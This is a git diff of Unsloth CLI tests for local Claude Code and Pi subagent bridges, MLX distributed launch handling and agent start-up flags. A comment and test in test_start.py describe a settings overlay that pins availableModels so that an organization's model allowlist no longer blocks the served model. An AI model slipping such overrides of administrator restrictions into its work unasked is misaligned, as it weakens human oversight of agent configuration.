+    monkeypatch.setattr(bridge.subprocess, "Popen", popen)
+    assert bridge.run_local_agent("reply exactly LOCAL_OK") == "LOCAL_OK"
+    command = captured["command"]
+    assert command[:3] == ["/usr/local/bin/claude", "--model", "unsloth/model-GGUF:Q4_K_M"]
+    assert command[command.index("--permission-mode") + 1] == permission
+    assert "--no-session-persistence" in command
+    assert captured["cwd"] == str(tmp_path)
+    assert captured["stdin"] is bridge.subprocess.DEVNULL
+    assert captured["stdout"] is bridge.subprocess.PIPE
+    assert captured["stderr"] is bridge.subprocess.PIPE
+    if os.name == "nt":
+        assert captured["creationflags"] == bridge.subprocess.CREATE_NEW_PROCESS_GROUP
+    else:
+        assert captured["start_new_session"] is True
+    child_env = captured["env"]
+    assert child_env["ANTHROPIC_BASE_URL"] == "http://127.0.0.1:8888"
+    assert child_env["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-test"
+    assert child_env["ANTHROPIC_MODEL"] == "unsloth/model-GGUF:Q4_K_M"
+    assert child_env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] == "32768"
+    assert child_env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] == "90"
+    assert "ANTHROPIC_API_KEY" not in child_env
+    assert "CLAUDE_CODE_OAUTH_TOKEN" not in child_env
+
+
+def test_local_child_process_is_stopped_on_cancellation(monkeypatch, tmp_path):
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_BASE_URL", "http://127.0.0.1:8888")
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_API_KEY", "sk-unsloth-test")
+    monkeypatch.setenv("UNSLOTH_CLAUDE_SUBAGENT_MODEL", "unsloth/model-GGUF:Q4_K_M")
+    monkeypatch.setenv("CLAUDE_PROJECT_DIR", str(tmp_path))
+    monkeypatch.setattr(bridge.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(bridge, "_claude_flags", lambda model: [])
+    cancel_event = bridge.threading.Event()
+    stopped = []
+
+    class Process:
+        pid = 1234
+        returncode = None
+
+        def communicate(self, timeout):
+            cancel_event.set()
+            raise bridge.subprocess.TimeoutExpired("claude", timeout)
+
+        def poll(self):
+            return self.returncode
+
+    process = Process()
+    monkeypatch.setattr(bridge.subprocess, "Popen", lambda *args, **kwargs: process)
+
+    def stop(child):
+        stopped.append(child)
+        child.returncode = -15
+
+    monkeypatch.setattr(bridge, "_stop_child", stop)
+    with pytest.raises(RuntimeError, match = "cancelled"):
+        bridge.run_local_agent("wait", cancel_event)
+    assert stopped == [process]
+
+
+def test_windows_cancellation_stops_the_child_process_tree(monkeypatch):
+    monkeypatch.setattr(bridge.os, "name", "nt")
+    captured = {}
+
+    class Process:
+        pid = 4321
+        returncode = None
+
+        def poll(self):
+            return self.returncode
+
+        def wait(self, timeout = None):
+            captured["wait_timeout"] = timeout
+            self.returncode = 1
+
+        def terminate(self):
+            raise AssertionError("taskkill should handle the process tree")
+
+    def run(command, **kwargs):
+        captured["command"] = command
+        captured.update(kwargs)
+        return bridge.subprocess.CompletedProcess(command, 0)
+
+    monkeypatch.setattr(bridge.subprocess, "run", run)
+    bridge._stop_child(Process())
+
+    assert captured["command"] == ["taskkill", "/PID", "4321", "/T", "/F"]
+    assert captured["capture_output"] is True
+    assert captured["check"] is False
+    assert captured["wait_timeout"] == bridge._CANCEL_GRACE_SECONDS
+
+
+def test_windows_failed_taskkill_still_terminates_the_child(monkeypatch):
+    monkeypatch.setattr(bridge.os, "name", "nt")
+    captured = {}
+
+    class Process:
+        pid = 4321
+        returncode = None
+
+        def poll(self):
+            return self.returncode
+
+        def wait(self, timeout = None):
+            self.returncode = 1
+
+        def terminate(self):
+            captured["terminated"] = True
+            self.returncode = 1
+
+    monkeypatch.setattr(
+        bridge.subprocess,
+        "run",
+        lambda command, **kwargs: bridge.subprocess.CompletedProcess(command, 1),
+    )
+    bridge._stop_child(Process())
+
+    assert captured.get("terminated") is True
+
+
+@pytest.mark.skipif(os.name == "nt", reason = "POSIX process groups")
+def test_stop_child_kills_survivors_after_leader_exit(monkeypatch, tmp_path):
+    monkeypatch.setattr(bridge, "_CANCEL_GRACE_SECONDS", 0.2)
+    marker = tmp_path / "grandchild-survived"
+    grandchild = (
+        "import pathlib, sys, time; time.sleep(1.0); "
+        "pathlib.Path(sys.argv[1]).write_text('alive')"
+    )
+    process = subprocess.Popen(
+        [
+            sys.executable,
+            "-c",
+            "import subprocess, sys; "
+            "subprocess.Popen([sys.executable, '-c', sys.argv[1], sys.argv[2]])",
+            grandchild,
+            str(marker),
+        ],
+        start_new_session = True,
+    )
+    process.wait()
+
+    bridge._stop_child(process)
+
+    time.sleep(1.2)
+    assert not marker.exists()
+
+
+def test_result_parser_accepts_diagnostics_before_json():
+    output = "connector warning\n" + json.dumps({"is_error": False, "result": "OK"})
+    assert bridge._result_text(output) == "OK"
diff --git a/unsloth_cli/tests/test_inference_chat.py b/unsloth_cli/tests/test_inference_chat.py
index 013b7c5a81..07eed01e97 100644
--- a/unsloth_cli/tests/test_inference_chat.py
+++ b/unsloth_cli/tests/test_inference_chat.py
@@ -26,6 +26,8 @@ from unsloth_cli._inference import (
     ChatBackend,
     HttpChatBackend,
     collect_stream,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
     render_columns,
     visible_text,
 )
@@ -39,6 +41,16 @@ class _FakeConfig:
     path = None
 
 
+_EXPECTED_MPI_ENV_PAIRS = [
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+]
+_IGNORED_DISTRIBUTED_ENV_PAIRS = [("SLURM_PROCID", "SLURM_NTASKS")]
+
+
 def _chat_app():
     cli = typer.Typer()
     cli.command()(chatmod.chat)
@@ -53,6 +65,39 @@ def _inference_app():
     return cli
 
 
+def _clear_mlx_distributed_env(monkeypatch):
+    for name in (
+        "MLX_RANK",
+        "MLX_HOSTFILE",
+        "MLX_WORLD_SIZE",
+        "MLX_IBV_DEVICES",
+        "MLX_JACCL_COORDINATOR",
+        "NCCL_HOST_IP",
+        "NCCL_PORT",
+        *(rank for rank, _size in _EXPECTED_MPI_ENV_PAIRS + _IGNORED_DISTRIBUTED_ENV_PAIRS),
+        *(size for _rank, size in _EXPECTED_MPI_ENV_PAIRS + _IGNORED_DISTRIBUTED_ENV_PAIRS),
+    ):
+        monkeypatch.delenv(name, raising = False)
+
+
+def _set_mlx_nccl_env(
+    monkeypatch,
+    *,
+    rank: str = "0",
+    size: str = "2",
+):
+    monkeypatch.setenv("MLX_RANK", rank)
+    monkeypatch.setenv("MLX_WORLD_SIZE", size)
+    monkeypatch.setenv("NCCL_HOST_IP", "127.0.0.1")
+    monkeypatch.setenv("NCCL_PORT", "12345")
+
+
+@pytest.fixture(autouse = True)
+def _isolate_mlx_distributed_env(monkeypatch):
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.delenv("HF_TOKEN", raising = False)
+
+
 def test_visible_text_passthrough_when_shown():
     text = "<think>reasoning</think>answer"
     assert visible_text(text, show_thinking = True) == text
@@ -101,6 +146,46 @@ def test_inference_exposes_gguf_runtime_options():
     assert "--llama-extra-arg" in (getattr(extra, "param_decls", None) or [])
 
 
+def test_mlx_distributed_info_reads_launch_env(monkeypatch, tmp_path):
+    _clear_mlx_distributed_env(monkeypatch)
+    assert mlx_distributed_info() == (False, 0, None)
+    assert mlx_distributed_uses_mpi() is False
+
+    monkeypatch.setenv("MLX_RANK", "1")
+    monkeypatch.setenv("MLX_WORLD_SIZE", "2")
+    assert mlx_distributed_info() == (False, 0, None)
+    monkeypatch.setenv("NCCL_HOST_IP", "127.0.0.1")
+    monkeypatch.setenv("NCCL_PORT", "12345")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    ring_hostfile = tmp_path / "ring.json"
+    ring_hostfile.write_text('[["127.0.0.1:5000"], ["127.0.0.1:5001"]]\n')
+    monkeypatch.setenv("MLX_RANK", "0")
+    monkeypatch.setenv("MLX_HOSTFILE", str(ring_hostfile))
+    assert mlx_distributed_info() == (True, 0, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("MLX_RANK", "1")
+    monkeypatch.setenv("MLX_IBV_DEVICES", '[["node-a"], ["node-b"]]')
+    monkeypatch.setenv("MLX_JACCL_COORDINATOR", "node-a:12345")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("OMPI_COMM_WORLD_RANK", "1")
+    monkeypatch.setenv("OMPI_COMM_WORLD_SIZE", "2")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is True
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("MLX_RANK", "bad")
+    monkeypatch.setenv("MLX_WORLD_SIZE", "-3")
+    assert mlx_distributed_info() == (False, 0, None)
+
+
 def test_chat_command_is_registered_with_options():
     params = inspect.signature(chatmod.chat).parameters
     assert "model" in params
@@ -287,7 +372,7 @@ def test_find_studio_server_none_when_not_running(monkeypatch):
 
 
 def test_find_studio_server_prefers_ipv4_loopback_for_localhost(monkeypatch):
-    # localhost resolving ::1-first must not hide a Studio bound to 127.0.0.1:
+    # localhost resolving ::1-first must not hide an Unsloth bound to 127.0.0.1:
     # discovery tries each loopback address and returns the one that answers.
     import socket
     import urllib.request
@@ -751,7 +836,6 @@ def test_chat_server_mode_compare_loads_base_locally(monkeypatch):
 
     assert result.exit_code == 0, result.output
     assert "(compare on)" in result.output
-    # Only the base model loaded locally, on its own private backend.
     assert base_loads == [("fake/base", True)]
     assert streamed == ["base", "tuned"]
     assert set(closed) == {"http", "base"}
@@ -785,6 +869,346 @@ def test_chat_compare_on_mlx_loads_base_model_side_by_side(monkeypatch):
 
     assert result.exit_code == 0, result.output
     assert loads == [("tuned-run", False), ("fake/base", True)]
-    # Both models answered the turn, via plain generation (no adapter toggle).
     assert ("base", None) in streamed and ("tuned", None) in streamed
     assert set(closed) == {"tuned", "base"}
+
+
+@pytest.mark.parametrize(
+    ("chunk_kind", "expected_exit"),
+    [
+        ("answer", 0),
+        ("model_text_error", 0),
+        ("real_error", 1),
+    ],
+)
+def test_inference_local_handles_stream(monkeypatch, chunk_kind, expected_exit):
+    from unsloth_cli.commands import inference as infermod
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    chunks = {
+        "answer": ["answer"],
+        "model_text_error": ["Error: printed by the model, not a backend failure"],
+        "real_error": [GenStreamError("Error: generation failed")],
+    }[chunk_kind]
+    closed = []
+
+    class _FakeBackend:
+        def stream(self, messages, **kwargs):
+            return iter(chunks)
+
+        def close(self):
+            closed.append(True)
+
+    monkeypatch.setattr(
+        infermod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(infermod, "load_chat_backend", lambda *a, **k: _FakeBackend())
+
+    result = CliRunner().invoke(
+        _inference_app(),
+        ["fake-model", "hello", "--no-server"],
+    )
+
+    assert result.exit_code == expected_exit, result.output
+    assert closed == [True]
+    if chunk_kind == "real_error":
+        assert result.stdout == "Assistant:\n"
+        assert result.stderr == "Error: generation failed\n"
+    else:
+        assert chunks[0] in result.output
+
+
+@pytest.mark.parametrize("chunk_kind", ["answer", "model_text_error", "real_error"])
+def test_chat_local_handles_stream(monkeypatch, chunk_kind):
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    first_chunk = {
+        "answer": "answer",
+        "model_text_error": "Error: printed by the model, not a backend failure",
+        "real_error": GenStreamError("Error: generation failed"),
+    }[chunk_kind]
+    calls, closed = [], []
+
+    class _FakeChatBackend:
+        def stream(self, messages, **kwargs):
+            calls.append([dict(message) for message in messages])
+            return iter([first_chunk if len(calls) == 1 else "second answer"])
+
+        def close(self):
+            closed.append(True)
+
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(chatmod, "connect_studio_server", lambda *a, **k: None)
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: _FakeChatBackend())
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(
+        _chat_app(),
+        ["fake-model"],
+        input = "first\nsecond\n/exit\n",
+    )
+
+    assert result.exit_code == 0, result.output
+    assert closed == [True]
+    if chunk_kind == "real_error":
+        assert calls[1] == [{"role": "user", "content": "second"}]
+        assert "(error: generation failed)" in result.output
+        assert "Error: generation failed" not in result.output
+    else:
+        assert calls[1] == [
+            {"role": "user", "content": "first"},
+            {"role": "assistant", "content": first_chunk},
+            {"role": "user", "content": "second"},
+        ]
+        assert first_chunk in result.output
+
+
+@pytest.mark.parametrize(
+    ("chunk_kind", "expected_exit"),
+    [
+        ("answer", 0),
+        ("model_text_error", 0),
+        ("real_error", 1),
+    ],
+)
+def test_inference_under_mlx_launch_handles_stream(monkeypatch, chunk_kind, expected_exit):
+    from unsloth_cli.commands import inference as infermod
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    if chunk_kind == "answer":
+        chunks = ["answer"]
+    elif chunk_kind == "model_text_error":
+        # Model output whose visible text starts with "Error:" must not abort.
+        chunks = ["Error: printed by the model, not a backend failure"]
+    else:
+        chunks = [GenStreamError("Error: generation failed")]
+
+    loads, closed = [], []
+
+    class _FakeBackend:
+        def stream(self, messages, **kwargs):
+            return iter(chunks)
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(
+        infermod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(
+        infermod,
+        "load_chat_backend",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeBackend())[1],
+    )
+
+    result = CliRunner().invoke(
+        _inference_app(),
+        ["fake-model", "hello", "--tensor-parallel"],
+    )
+
+    assert result.exit_code == expected_exit, result.output
+    assert loads[0][1]["tensor_parallel"] is True
+    if chunk_kind == "real_error":
+        assert "generation failed" in result.output
+
+
+def test_chat_under_mlx_launch_nonzero_rank_drains_stdin(monkeypatch):
+    drains, closed = [], []
+    turns = iter(
+        [
+            {"type": "turn", "text": "hi"},
+            {"type": "turn", "text": "/exit"},
+        ]
+    )
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            assert obj is None
+            return next(turns)
+
+        def stream(self, messages, **kwargs):
+            return iter(["hidden"])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "1")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: _FakeChatBackend())
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+    monkeypatch.setattr(chatmod, "_drain_available_stdin", lambda: drains.append(True))
+
+    result = CliRunner().invoke(_chat_app(), ["fake-model"], input = "hi\n/exit\n")
+
+    assert result.exit_code == 0, result.output
+    assert "Chatting with" not in result.output
+    assert drains == [True, True]
+    assert closed == [True]
+
+
+def test_chat_under_mlx_launch_rank0_bypasses_studio_and_prints(monkeypatch):
+    loads, shares, closed = [], [], []
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            shares.append((obj, timeout))
+            return obj
+
+        def stream(self, messages, **kwargs):
+            return iter(["hello"])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(
+        chatmod,
+        "load_chat_backend",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeChatBackend())[1],
+    )
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(
+        _chat_app(),
+        ["fake-model", "--tensor-parallel"],
+        input = "hi\n/exit\n",
+    )
+
+    assert result.exit_code == 0, result.output
+    assert "Chatting with fake-model" in result.output
+    assert "hello" in result.output
+    assert loads and loads[0][0] == "fake-model"
+    assert loads[0][1]["tensor_parallel"] is True
+    assert shares == [
+        ({"type": "turn", "text": "hi"}, None),
+        ({"type": "turn", "text": "/exit"}, None),
+    ]
+
+
+@pytest.mark.parametrize(
+    ("stream_error", "expected_exit"),
+    [("exception", 1), ("chunk", 1), ("model_text", 0)],
+)
+def test_chat_under_mlx_launch_exits_on_generation_error(monkeypatch, stream_error, expected_exit):
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    closed = []
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            return obj
+
+        def stream(self, messages, **kwargs):
+            if stream_error == "exception":
+                raise RuntimeError("generation failed")
+            if stream_error == "model_text":
+                # Plain model text starting with "Error:" must not abort the run.
+                return iter(["Error: printed by the model"])
+            return iter([GenStreamError("Error: generation failed")])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: _FakeChatBackend())
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(_chat_app(), ["fake-model"], input = "hi\n/exit\n")
+
+    assert result.exit_code == expected_exit
+    if expected_exit:
+        assert "generation failed" in result.output
+    assert closed == [True]
+
+
+def test_load_chat_backend_forwards_mlx_distributed_options(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    calls = []
+
+    class _FakeBackend:
+        def load_model(self, **kwargs):
+            calls.append(kwargs)
+            return True
+
+    class _FakeModelConfig:
+        is_gguf = False
+
+        @classmethod
+        def from_identifier(cls, **_kwargs):
+            return cls()
+
+    fake_backend = _FakeBackend()
+    fake_inference = types.ModuleType("core.inference")
+    fake_inference.get_inference_backend = lambda: fake_backend
+    fake_utils = types.ModuleType("utils")
+    fake_utils.__path__ = []
+    fake_models = types.ModuleType("utils.models")
+    fake_models.ModelConfig = _FakeModelConfig
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", fake_inference)
+    monkeypatch.setitem(sys.modules, "utils", fake_utils)
+    monkeypatch.setitem(sys.modules, "utils.models", fake_models)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    inference.load_chat_backend(
+        "fake-model",
+        hf_token = None,
+        max_seq_length = 2048,
+        load_in_4bit = True,
+        tensor_parallel = True,
+    )
+
+    assert calls[0]["tensor_parallel"] is True
+    assert calls[0]["mlx_distributed"] is True
diff --git a/unsloth_cli/tests/test_pi_subagent.py b/unsloth_cli/tests/test_pi_subagent.py
new file mode 100644
index 0000000000..beac6770df
--- /dev/null
+++ b/unsloth_cli/tests/test_pi_subagent.py
@@ -0,0 +1,191 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import os
+from pathlib import Path
+import json
+import shutil
+import subprocess
+
+import pytest
+
+
+@pytest.mark.skipif(os.name == "nt", reason = "POSIX process group regression test")
+def test_pi_cancel_kills_child_process_group(tmp_path):
+    bun = shutil.which("bun")
+    if bun is None:
+        pytest.skip("Bun is required to execute the bundled Pi extension")
+
+    ready = tmp_path / "grandchild-ready"
+    marker = tmp_path / "grandchild-survived"
+    config = tmp_path / "subagent.json"
+    config.write_text(
+        json.dumps(
+            {
+                "baseUrl": "http://127.0.0.1:8000/v1",
+                "apiKey": "private-token",
+                "model": "local-model",
+                "contextWindow": 32768,
+                "maxTokens": 8192,
+            }
+        ),
+        encoding = "utf-8",
+    )
+    driver = tmp_path / "pi-driver.js"
+    driver.write_text(
+        """
+import { spawn } from "node:child_process";
+
+spawn(
+    process.execPath,
+    [
+        "-e",
+        `
+            const fs = require("node:fs");
+            process.on("SIGTERM", () => {});
+            fs.writeFileSync(process.env.PI_CHILD_READY, "ready");
+            setTimeout(() => fs.writeFileSync(process.env.PI_CANCEL_MARKER, "alive"), 3000);
+            setInterval(() => {}, 1000);
+        `,
+    ],
+    { stdio: "inherit" },
+);
+process.on("SIGTERM", () => {});
+setInterval(() => {}, 1000);
+""",
+        encoding = "utf-8",
+    )
+    extension = Path(__file__).parents[1] / "pi_subagent.ts"
+    test_file = tmp_path / "pi-cancel.test.ts"
+    test_file.write_text(
+        f"""
+import {{ expect, mock, test }} from "bun:test";
+import {{ existsSync }} from "node:fs";
+import {{ pathToFileURL }} from "node:url";
+
+mock.module("typebox", () => ({{
+    Type: {{ Object: (value) => value, String: (value) => value }},
+}}));
+
+test("cancellation stops the Pi child process group", async () => {{
+    process.env.UNSLOTH_PI_SUBAGENT_CONFIG = {str(config)!r};
+    process.env.PI_CHILD_READY = {str(ready)!r};
+    process.env.PI_CANCEL_MARKER = {str(marker)!r};
+    process.argv[1] = {str(driver)!r};
+
+    const loaded = await import(pathToFileURL({str(extension)!r}).href);
+    let tool;
+    let provider;
+    loaded.default({{
+        registerProvider(_name, value) {{ provider = value; }},
+        registerTool(value) {{ tool = value; }},
+    }});
+    expect(process.env.UNSLOTH_PI_SUBAGENT_CONFIG).toBeUndefined();
+    expect(process.env.UNSLOTH_PI_SUBAGENT_API_KEY).toBeUndefined();
+    expect(provider.apiKey).toBe("private-token");
+
+    const controller = new AbortController();
+    const execution = tool.execute(
+        "call",
+        {{ task: "wait" }},
+        controller.signal,
+        undefined,
+        {{ cwd: {str(tmp_path)!r} }},
+    );
+    for (let attempt = 0; attempt < 100 && !existsSync({str(ready)!r}); attempt++) {{
+        await Bun.sleep(20);
+    }}
+    expect(existsSync({str(ready)!r})).toBe(true);
+    controller.abort();
+    await expect(execution).rejects.toThrow("cancelled");
+    await Bun.sleep(3200);
+    expect(existsSync({str(marker)!r})).toBe(false);
+}}, 10_000);
+""",
+        encoding = "utf-8",
+    )
+
+    completed = subprocess.run(
+        [bun, "test", str(test_file)],
+        capture_output = True,
+        text = True,
+        timeout = 15,
+    )
+
+    assert completed.returncode == 0, completed.stdout + completed.stderr
+
+
+@pytest.mark.skipif(os.name == "nt", reason = "POSIX driver script")
+def test_pi_child_error_events_fail_the_tool_call(tmp_path):
+    bun = shutil.which("bun")
+    if bun is None:
+        pytest.skip("Bun is required to execute the bundled Pi extension")
+
+    config = tmp_path / "subagent.json"
+    config.write_text(
+        json.dumps(
+            {
+                "baseUrl": "http://127.0.0.1:8000/v1",
+                "apiKey": "private-token",
+                "model": "local-model",
+                "contextWindow": 32768,
+                "maxTokens": 8192,
+            }
+        ),
+        encoding = "utf-8",
+    )
+    # Pi reports model/API failures as message_end events while exiting 0.
+    driver = tmp_path / "pi-driver.js"
+    driver.write_text(
+        """
+const event = {
+    type: "message_end",
+    message: { role: "assistant", stopReason: "error", errorMessage: "backend unreachable", content: [] },
+};
+console.log(JSON.stringify(event));
+""",
+        encoding = "utf-8",
+    )
+    extension = Path(__file__).parents[1] / "pi_subagent.ts"
+    test_file = tmp_path / "pi-error.test.ts"
+    test_file.write_text(
+        f"""
+import {{ expect, mock, test }} from "bun:test";
+import {{ pathToFileURL }} from "node:url";
+
+mock.module("typebox", () => ({{
+    Type: {{ Object: (value) => value, String: (value) => value }},
+}}));
+
+test("child error events fail the tool call", async () => {{
+    process.env.UNSLOTH_PI_SUBAGENT_CONFIG = {str(config)!r};
+    process.argv[1] = {str(driver)!r};
+
+    const loaded = await import(pathToFileURL({str(extension)!r}).href);
+    let tool;
+    loaded.default({{
+        registerProvider() {{}},
+        registerTool(value) {{ tool = value; }},
+    }});
+
+    const execution = tool.execute(
+        "call",
+        {{ task: "fail" }},
+        undefined,
+        undefined,
+        {{ cwd: {str(tmp_path)!r} }},
+    );
+    await expect(execution).rejects.toThrow("backend unreachable");
+}}, 10_000);
+""",
+        encoding = "utf-8",
+    )
+
+    completed = subprocess.run(
+        [bun, "test", str(test_file)],
+        capture_output = True,
+        text = True,
+        timeout = 15,
+    )
+
+    assert completed.returncode == 0, completed.stdout + completed.stderr
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index a6a092a17c..e76ae24f8b 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -7,6 +7,7 @@ from __future__ import annotations
 
 import json
 import os
+import re
 import shlex
 import sys
 import urllib.error
@@ -19,6 +20,7 @@ if str(_REPO_ROOT) not in sys.path:
 
 
 import pytest
+import typer
 from typer.testing import CliRunner
 
 import unsloth_cli.commands.start as start
@@ -60,38 +62,76 @@ def _fake_claude(monkeypatch, version_output: str) -> None:
     )
 
 
+def _path_aware_which(binaries: dict):
+    # A shutil.which fake that resolves a name only when its directory is on PATH at call time.
+    # Lets a test prove a version probe augments PATH before resolving: an agent present only in
+    # an install dir (~/.local/bin, %APPDATA%\npm) must still be found and version-checked.
+    def _which(name):
+        directory = binaries.get(name)
+        if directory is None:
+            return None
+        entries = os.environ.get("PATH", "").split(os.pathsep)
+        # os.path.join (not Path()) so this works when a test has flipped os.name to "nt": under
+        # a simulated os.name, pathlib would build the non-native flavour and raise.
+        return os.path.join(str(directory), name) if str(directory) in entries else None
+
+    return _which
+
+
+def _simulate_windows(monkeypatch) -> None:
+    # Exercise the `os.name == "nt"` branch on any host. Flipping os.name alone makes pathlib
+    # pick the non-native flavour (WindowsPath on POSIX, PosixPath on Windows) when a Path is
+    # constructed, which raises; pin Path to the host-native class (captured before the flip)
+    # so the branch logic runs without that crash. Keeps these tests green on Linux/Mac/WSL too.
+    monkeypatch.setattr(start, "Path", type(Path()))
+    monkeypatch.setattr(start.os, "name", "nt")
+
+
 def test_claude_flags_passed_to_supported_claude(monkeypatch):
     _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
-    assert start._claude_flags() == [
+    assert start._claude_flags(MODEL["id"]) == [
         "--exclude-dynamic-system-prompt-sections",
         "--settings",
-        start._CLAUDE_SETTINGS_OVERLAY,
+        start._claude_settings_overlay(MODEL["id"]),
     ]
 
 
 def test_claude_flags_skipped_on_old_claude(monkeypatch):
     _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
-    assert start._claude_flags() == []
+    assert start._claude_flags(MODEL["id"]) == []
 
 
 def test_claude_flags_skipped_on_unparseable_version(monkeypatch):
     _fake_claude(monkeypatch, "weird build string\n")
-    assert start._claude_flags() == []
+    assert start._claude_flags(MODEL["id"]) == []
 
 
 def test_claude_flags_detected_when_version_not_first_token(monkeypatch):
     # The X.Y.Z is pulled from anywhere in the output, so a format change (version not
     # the first token) doesn't silently drop the optimization flags.
     _fake_claude(monkeypatch, "claude version 2.1.98\n")
-    assert start._claude_flags() == [
+    assert start._claude_flags(MODEL["id"]) == [
         "--exclude-dynamic-system-prompt-sections",
         "--settings",
-        start._CLAUDE_SETTINGS_OVERLAY,
+        start._claude_settings_overlay(MODEL["id"]),
     ]
 
 
+def test_claude_settings_overlay_pins_served_model():
+    # The session overlay must pin availableModels to the served model: a user's allowlist
+    # in ~/.claude/settings.json otherwise rejects the Unsloth --model ("restricted by your
+    # organization's settings"), and no env var can bypass it. The override must be a
+    # NON-EMPTY array to take effect (an empty [] is ignored and the user's list still
+    # applies), so it lists exactly this model, for this session only.
+    overlay = json.loads(start._claude_settings_overlay(MODEL["id"]))
+    assert overlay["availableModels"] == [MODEL["id"]]
+    # The attribution-header suppression is preserved alongside it.
+    assert overlay["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
+
+
 def test_install_agent_prompts_then_installs(monkeypatch):
     # TTY + yes: run the documented install command, then re-resolve the now-present binary.
+    monkeypatch.setattr(start.os, "name", "posix")
     monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
     monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
     ran = []
@@ -108,6 +148,361 @@ def test_install_agent_prompts_then_installs(monkeypatch):
     assert ran == [["/bin/sh", "-c", "npm install -g @openai/codex"]]
 
 
+def test_install_agent_uses_powershell_on_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    ran = []
